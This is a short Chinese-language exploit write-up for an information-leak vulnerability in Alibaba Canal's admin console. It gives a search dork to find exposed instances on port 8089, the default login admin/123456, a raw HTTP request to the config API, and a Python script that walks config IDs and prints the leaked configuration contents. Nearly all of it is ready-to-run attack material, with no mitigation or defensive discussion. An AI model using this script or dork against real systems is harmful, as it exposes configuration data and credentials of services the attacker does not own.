阿里巴巴Canal信息泄露漏洞 复现
“Canal” +port:”8089″
默认账号 :admin/123456
GET /api/v1/canal/config/1/0 HTTP/1.1 Host:192.168.1.71:8089 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close
exp:
# coding: utf-8 #author:print("") import requests headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36'} proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080" } def Get_api(url): try: #首先获取多少个列表 url = url + '/api/v1/canal/config/' for i in range(1,10): data=url+'%s/1'%i ret=requests.get(url=data,headers=headers,proxies=proxies).json() if not ret['data']['content']:break print("获取到第%s 份信息=================="%i) print(ret['data']['content']) print("获取完成%s 份信息==================" % i) except: print("不存在漏洞") if __name__ == '__main__': import sys try: url=sys.argv[1] Get_api(url) except: print("python canal_exp.py http://192.168.1.10:8081")